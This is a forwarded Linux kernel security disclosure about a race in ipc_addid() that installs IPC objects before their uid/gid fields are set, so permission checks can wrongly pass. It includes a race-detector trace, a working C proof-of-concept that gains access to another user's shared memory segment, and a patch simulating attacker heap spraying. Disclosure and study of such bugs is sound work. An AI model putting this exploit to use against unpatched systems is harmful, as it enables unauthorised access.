Fwd: Unauthorized access to IPC objects

461 views
Skip to first unread message

Dmitry Vyukov

unread,
Oct 1, 2015, 7:34:42 AM10/1/15
to kt...@googlegroups.com
A fix is at:
https://github.com/torvalds/linux/commit/b9a532277938


---------- Forwarded message ----------

Hello secu...@kernel.org,

While working on KernelThreadSanitizer (KTSAN), a data race detector
for kernel, I've got a report that says that ipc_addid() installs a
not-completely initialized object into the shared object table. In
particular, uid/gid are not initialized. ipc_obtain_object_check() in
turn obtains the object and verifies uid/gid for permission purposes.
Since the fields are not initialized, the check can falsely succeed.

Below are details including a proof-of-concept exploit.

Here is the race report on 4.2 kernel:

ThreadSanitizer: data-race in ipc_obtain_object_check

Read at 0xffff88047f810f68 of size 8 by thread 2749 on CPU 5:
[<ffffffff8147d84d>] ipc_obtain_object_check+0x7d/0xd0 ipc/util.c:621
[< inline >] msq_obtain_object_check ipc/msg.c:90
[<ffffffff8147e708>] msgctl_nolock.constprop.9+0x208/0x430 ipc/msg.c:480
[< inline >] SYSC_msgctl ipc/msg.c:538
[<ffffffff8147f061>] SyS_msgctl+0xa1/0xb0 ipc/msg.c:522
[<ffffffff81ee3e11>] entry_SYSCALL_64_fastpath+0x31/0x95
arch/x86/entry/entry_64.S:188

Previous write at 0xffff88047f810f68 of size 8 by thread 2755 on CPU 4:
[<ffffffff8147cf97>] ipc_addid+0x217/0x260 ipc/util.c:257
[<ffffffff8147eb4c>] newque+0xac/0x240 ipc/msg.c:141
[< inline >] ipcget_public ipc/util.c:355
[<ffffffff8147daa2>] ipcget+0x202/0x280 ipc/util.c:646
[< inline >] SYSC_msgget ipc/msg.c:255
[<ffffffff8147efaa>] SyS_msgget+0x7a/0x90 ipc/msg.c:241
[<ffffffff81ee3e11>] entry_SYSCALL_64_fastpath+0x31/0x95
arch/x86/entry/entry_64.S:188

Mutexes locked by thread 2755:
Mutex 445417 is locked here:
[<ffffffff81ee0d45>] down_write+0x65/0x80 kernel/locking/rwsem.c:62
[< inline >] ipcget_public ipc/util.c:348
[<ffffffff8147d90c>] ipcget+0x6c/0x280 ipc/util.c:646
[< inline >] SYSC_msgget ipc/msg.c:255
[<ffffffff8147efaa>] SyS_msgget+0x7a/0x90 ipc/msg.c:241
[<ffffffff81ee3e11>] entry_SYSCALL_64_fastpath+0x31/0x95
arch/x86/entry/entry_64.S:188

Mutex 453634 is locked here:
[< inline >] __raw_spin_lock include/linux/spinlock_api_smp.h:158
[<ffffffff81ee37d0>] _raw_spin_lock+0x50/0x70 kernel/locking/spinlock.c:151
[< inline >] spin_lock include/linux/spinlock.h:312
[<ffffffff8147ce0e>] ipc_addid+0x8e/0x260 ipc/util.c:238
[<ffffffff8147eb4c>] newque+0xac/0x240 ipc/msg.c:141
[< inline >] ipcget_public ipc/util.c:355
[<ffffffff8147daa2>] ipcget+0x202/0x280 ipc/util.c:646
[< inline >] SYSC_msgget ipc/msg.c:255
[<ffffffff8147efaa>] SyS_msgget+0x7a/0x90 ipc/msg.c:241
[<ffffffff81ee3e11>] entry_SYSCALL_64_fastpath+0x31/0x95
arch/x86/entry/entry_64.S:188


What happens is as follows.
ipc_addid installs new ipc object with idr_alloc, from this point on
it is accessible to other threads. At this point the object contains
unitialized garbage. Then it fills in uid, etc:

new->cuid = new->uid = euid;
new->gid = new->cgid = egid;
new->seq = ids->seq++;

While this happens another thread can get access to the object and do
uid check on the unitialized garbage, which can give falsely give
accesses to the shared object to a process that should not have access
to the object.

Here is proof-of-concept that gains accesses to a shared memory
segment using shmat():

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>

__attribute__((aligned(4096))) char buf[4096];

int main(void)
{
int id, id1;

if (getuid() != 0)
exit(printf("run as root\n"));
id = shmget(99, 4096, IPC_CREAT | S_IRUSR | S_IWUSR);
if (id == -1)
exit(printf("shmget failed %d\n", errno));
if (shmctl(id, IPC_RMID, NULL) == -1)
exit(printf("shmctl failed %d\n", errno));
id += 0x8000;
switch (fork()) {
case 0:
if (setuid(100000) == -1)
exit(printf("setuid failed %d\n", errno));
if (shmat(id, buf, SHM_REMAP) != buf)
return 1; // must fail with EINVAL or EPERM
printf("PWNED!\n");
return 0;
case -1:
exit(printf("fork failed %d\n", errno));
}
id1 = shmget(99, 4096, IPC_CREAT | S_IRUSR | S_IWUSR);
if (id1 == -1)
exit(printf("shmget failed %d\n", errno));
if (id1 != id)
printf("unexpected id %x/%x\n", id, id1);
usleep(10000);
if (shmctl(id1, IPC_RMID, NULL) == -1)
exit(printf("shmctl failed %d\n", errno));
return 0;
}

I've applied the following patch on top of
9ffecb10283508260936b96022d4ee43a7798b4c
to increase probability of success. Attacker can achieve the same by
spraying kernel memory with necessary values, all ids are quite
predictable, and object size of struct shmid_kernel is known; so it
should not be too difficult to spray necessary values an necessary
offsets for known slab size class.

diff --git a/ipc/util.c b/ipc/util.c
index be42300..2d81298 100644
--- a/ipc/util.c
+++ b/ipc/util.c
@@ -59,6 +59,7 @@
#include <linux/rwsem.h>
#include <linux/memory.h>
#include <linux/ipc_namespace.h>
+#include <linux/delay.h>

#include <asm/unistd.h>

@@ -249,6 +250,18 @@ int ipc_addid(struct ipc_ids *ids, struct
kern_ipc_perm *new, int size)

ids->in_use++;

+ /* these fields are still uninitialized, let's pretend these values
+ were sprayed by attacker */
+ new->cuid.val = new->uid.val = 100000;
+ new->gid.val = new->cgid.val = 100000;
+ if (next_id < 0)
+ new->seq = ids->seq;
+ else
+ new->seq = ipcid_to_seqx(next_id);
+ new->id = ipc_buildid(id, new->seq);
+ /* bump attacker luck */
+ msleep_interruptible(100);
+
current_euid_egid(&euid, &egid);
new->cuid = new->uid = euid;
new->gid = new->cgid = egid;

With the patch the program prints PWNED within a second if run in a loop.

There is an additional note for architectures with weakly ordered
memory model. There are no memory barriers during object
initialization nor in ipc_obtain_object_check(). So
ipc_obtain_object_check() can observe new->seq/id before observing
new->uid/gid. This can simplify attacker work, as he won't need to
guess/spray seq/id.

Please confirm whether it is a real issue or not and advise on next steps.

Thank you
Reply all
Reply to author
Forward
0 new messages